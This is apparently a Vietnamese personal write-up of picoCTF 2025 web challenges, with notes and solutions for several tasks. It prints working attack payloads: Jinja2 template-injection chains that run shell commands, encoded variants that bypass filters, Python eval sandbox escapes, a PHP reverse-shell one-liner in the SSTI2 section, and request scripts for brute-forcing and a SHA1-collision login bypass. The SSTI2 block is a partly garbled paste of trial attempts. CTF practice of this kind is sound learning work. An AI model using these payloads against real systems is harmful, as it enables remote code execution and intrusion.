# PICO CTF 2025

# MỤC LỤC
[Cookie Monster Secret Recipe ✔](#Cookie-Monster-Secret-Recipe)
[head-dump ✔](#head-dump)
[SSTI1 ✔](#SSTI1-->-SSTI-JINJA2)
[n0s4n1ty ✔](#n0s4n1ty-1)
[3v@l ✔](#3v@l)
[SSTI2 ✔](#SSTI2)
[Pachinko ✔](#Pachinko)
[Apriti sesamo ✔](#Apriti-sesamo)
[WebSockFish ✔](#WebSockFish)
[secure-email-service ✖](#secure-email-service)
[Pachinko Revisited ✖](#Pachinko-Revisited)
## Cookie Monster Secret Recipe
-> Chưa có ý tưởng gì để lấy cookie : có thể là XSS
**Scan Directory**

Không có gì đặc biệt
Thử command js trong console xem

Khả năng là bị base64

## head-dump
Vẫn là scan directorry như bình thường -> không có gì đặc biệt
ngôn ngữ dùng là `js`
đây là bài về API Vậy nên việc của mình là cần để ý đến API
Vào source để xem thì mình thấy 1 API khả nghi trong số các API đến các ảnh hay là file css

ĐI VÀO API NÀY

Ssau khi vào nó sẽ tải cho mình 1 file `.heapsnapshort`

Tìm hiểu về file này chút
:::info
`.heapsnapshort` là file lưu trữ trạng thái của bộ nhớ trong ngôn ngữ js
:::
Chuyển nó về PDF -> tìm được `FLAG ` trong file
`picoCTF{Pat!3nt_15_Th3_K3y_f1179e46}`
## SSTI1 -> SSTI JINJA2
1 vài thử hay ho
`{{7*'7'}}` -> `77777`
`{{7*7}}` -> `49`
chưa thêm được gì nữa
có thể của `php`
auke sau khi thi MCTF
dùng bảng check để kiểm tra phía server dùng loại template engine nào và sau đây là follow của mình :
`{{"<h1>Django OR Jinja2</h1>"|striptags }} ` -> `Django OR Jinja2`
Vậy có thế là Django hoặc Jinja2 . Tiếp tục check
`Djan{{ Jinja2.Django }}go` -> LỖI TEMPLATE
vậy có thể kết luận đó là Jinja2
[PAYLOAD](https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.html?highlight=jinja2%20ssti#jinja-injection-without-class-object)
Dùng **Jinja Injection without <class 'object'>**
Đầu tiên mình check với `ls` trước
```
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
```

cat thôi
```
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("cat flag").read() }}
```
FLAG: `picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_73c99823}`
## n0s4n1ty 1
Có thể đoán là fileupload

techweb : php

up webshell lên và RCE nhưng không thấy `FLAG`

Hết ý tưởng ròi

Chắc chắn là FLAG không nằm trong root hiện tại ; có thể leo thang đặc quyền ngang
:::danger
NUNU
ls cần sudo


picoCTF{wh47_c4n_u_d0_wPHP_f7424fc7}
:::
## 3v@l
Dùng hàm `eval` của thư viện `flask`
tuy nhiên chặn kí tự `os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind`
và reg `r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'`
Giờ phải bypass nó

Cấm hết những kí tự trên này do `REG`
Có thể base64 vẫn ok
`"__import__('os').system('ls')"`
BASE64 -> `Il9faW1wb3J0X18oJ29zJykuc3lzdGVtKCdscycpIg==`

```
__import__('{}.__sizeof__.__name__[{}.update.__name__.__len__()]+{}.items.__name__[{}.keys.__name__.__len__()]').system('{}.__delattr__.__name__[{}.keys.__name__.__len__()]+{}.items.__name__[{}.keys.__name__.__len__()]')
{}.__delattr__.__name__[{}.keys.__name__.__len__()]+{}.items.__name__[{}.keys.__name__.__len__()] => ls
{}.__sizeof__.__name__[{}.update.__name__.__len__()]+{}.items.__name__[{}.keys.__name__.__len__()] => os
```
:::danger
Sau đây là sửa bài
```python=
__import__('o'+'s').popen('l'+'s').read()
↓
Result: app.py static templates
__import__('o'+'s').popen('l'+'s '+'.'+'.').read()
↓
Result: app bin boot challenge dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
__import__('o'+'s').popen('ca'+'t '+'.'+'.'+chr(47)+'flag'+'.'+'txt').read()
↓
Result: picoCTF{D0nt_Use_Unsecure_f@nctionscaec21d1}
=> 1 cách nữa để tương tác với eval
```
:::
## SSTI2
`{{7*7}}` -> `49`
Thử thì cũng có vẻ giống nhưng nó sanitize 1 số thành phần ở đây trước hết là `.__` và cả `{%` và `{{`
Mình định làm cách này
in ra các đối tượng có sẵn trong python3

Sau đó lợi dụng các length làm index
Dùng Name gắn với index được lấy từ length để lấy ra kí tự mình cần

Tuy nhiên nó sanitize rồi . Tìm cách khác thoi

Thử cách khác
```
{{'<script>alert(origin);</script>'|safe}}
```

Hừm làm được gì nhỉ .... -> php rever shell ???
```
{{'<script>alert(origin);</script>'|safe}}
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-Ldata-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> attr((request['args']usc*2,request.args.class,request.args.usc*2)|join) </div>
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("cat flag").read() }}
attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)
<class 'object'>
{{'<script>php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");';</script>'|safe}}
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-Ldata-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() </div>
{{ config['\x5f\x5fclass\x5f\x5f'].from_envvar.__globals__.__builtins__.__import__("os").popen("cat flag").read() }}
attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)
<class 'object'>
{{g['\x5f\x5fclass\x5f\x5f']}} -> {{g.__class__}}
.__class__
['\x5f\x5fclass\x5f
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config['\x5f\x5fclass\x5f\x5f']['from_envvar']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']("os").popen("ls").read() }}
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='x5f\x5f']['globalsx5f\x5f'][' data-5='builtinsx5f\x5f'][' data-6='importx5f\x5f'][' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='ls' data-12='read' data-13=']() == ' data-14='chiv'> \x5f </div>
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='ls' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
\x5f
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```
Giờ nó gặp kí tự `_` đều loại bỏ
```
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
```
Payload gốc là như này
```
request.application.__globals__['__builtins__']['__import__']('os').popen('cat flag').read()
```
thay `|attr` bằng dầu `.`
thay `__` bằng `('\x5f\x5f`
[Tài liệu](https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/)
## Pachinko
:::danger
CHỮA BÀI NÀO
Đọc code thì thấy có hai cách để ta đi đến FLAG
Cách 1 : theo con đường Admin

cách này thì hơi khó bởi ta chưa biết flag của cái nào cả
Khả năng phải giải xong chall này mới đi được cách này
Cách 2 : Theo con đường use

ở cách này thì ta thấy nó check 3 giá trị 2 input và 1 output
sau đó nó lại tạo ra 4 giá trị random và 4 giá trị rev tương ứng ròi đến hàm `serializeCiruit`

Nó làm cài j đấy ...

Có vẻ như nó đang trả về địa chỉ bộ nhớ
-> làm sao để mình biết đúng được địa chỉ bộ nhớ đây
1 cách duy nhất là bruitfort thoi
PAYLOAD:
```python=
import requests
import sys
burp0_url = "http://activist-birds.picoctf.net:49784/check"
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://activist-birds.picoctf.net:49784",
"Referer": "http://activist-birds.picoctf.net:49784/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
for input1 in range(1, 11):
for input2 in range(1, 11):
for output in range(1, 11):
payload = {"circuit": [{"input1": input1, "input2": input2, "output": output}]}
response = requests.post(burp0_url, headers=burp0_headers, json=payload)
# Check if the response contains the flag
if "pico" in response.text:
print(response.text)
sys.exit()
print(f"Sent: input1={input1}, input2={input2}, output={output} | Status: {response.status_code}")
```
Ta sẽ thấy được kết quả như sau

`picoCTF{p4ch1nk0_f146_0n3_e947b9d7}`
:::
## Apriti sesamo
:::danger
dựa vào gợi ý thì mình thấy người dùng đang dang emacs
-> Như vậy sẽ có 1 file back up có đuôi api là `~`

AUKE SAU KHI chuyển từ hex về character sau đó decode base64 thì ta được file này

```php==
<?php
if (isset($_POST["username"]) && isset($_POST["pwd"])) {
$username = $_POST["username"];
$password = $_POST["pwd"];
if ($username == $password) {
echo "<br/>Failed! No flag for you";
} else {
if (sha1($username) === sha1($password)) {
echo file_get_contents("../flag.txt");
} else {
echo "<br/>Failed! No flag for you";
}
}
}
```
ĐỌC thì mình thấy đây là sha1 collision
[document](https://exploit-notes.hdks.org/exploit/cryptography/algorithm/sha1-hash-collision-attack/)
sau đó mình sẽ host hai file lên đến lấy nội dung về

sau đó ta có payload như sau
```python===
import requests
import hashlib
contentA = requests.get(f'http://localhost:8000/messageA')
contentB = requests.get(f'http://localhost:8000/messageB')
burp0_url = "http://verbal-sleep.picoctf.net:56577/impossibleLogin.php"
burp0_headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": "http://verbal-sleep.picoctf.net:56577",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://verbal-sleep.picoctf.net:56577/impossibleLogin.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
burp0_data = {"username": contentA.content, "pwd": contentB.content}
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(response.text)
```
AND result is :

`picoCTF{w3Ll_d3sErV3d_Ch4mp_7d3c7e1c}`
:::
## WebSockFish
:::danger
Kiến thức này khá mới về **websocket**
Mình chưa biết cách nó tương tác với server kiểu gì

Giờ hãy xem nó giao tiếp như nào

-> Và cứ như thế server luôn thắng . Vậy làm thế nào để server nghĩ nó thua
Vậy phải làm như nào để tương tác với websocket này
Ta sẽ tạo ra 1 ws khác và khiến cho server nghĩ rằng nó losing
```con=
var ws_address = "ws://" + location.hostname + ":" + location.port + "/ws/";
let ws2 = new WebSocket(ws_address);
ws2.send("eval -1") // works, lets carry on
ws2.send("eval -1337")
ws2.send("eval -13337")
ws2.send("eval -133337")
```


Giờ mình sẽ gửi cho server giá trị âm

**FLAG**: `picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_0d3d41e1}`
:::
##